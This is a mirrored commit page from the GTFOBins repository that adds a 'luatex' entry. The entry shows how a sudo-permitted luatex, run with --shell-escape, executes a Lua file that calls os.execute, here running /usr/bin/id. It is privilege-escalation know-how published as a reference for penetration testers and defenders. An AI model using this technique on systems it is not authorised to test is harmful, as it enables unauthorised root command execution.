mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create luatex.md
Add luatex.
This commit is contained in:
parent
ff22bbda93
commit
fd30994f8a
7
_gtfobins/luatex.md
Normal file
7
_gtfobins/luatex.md
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
description: `luatex` allows to call external [`lua`](/gtfobins/lua/) scripts.
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex
|
||||||
|
echo 'os.execute("/usr/bin/id")' > runfunc.lua
|
||||||
|
luatex --interaction=nonstopmode --shell-escape file.tex
|
Loading…
Reference in New Issue
Block a user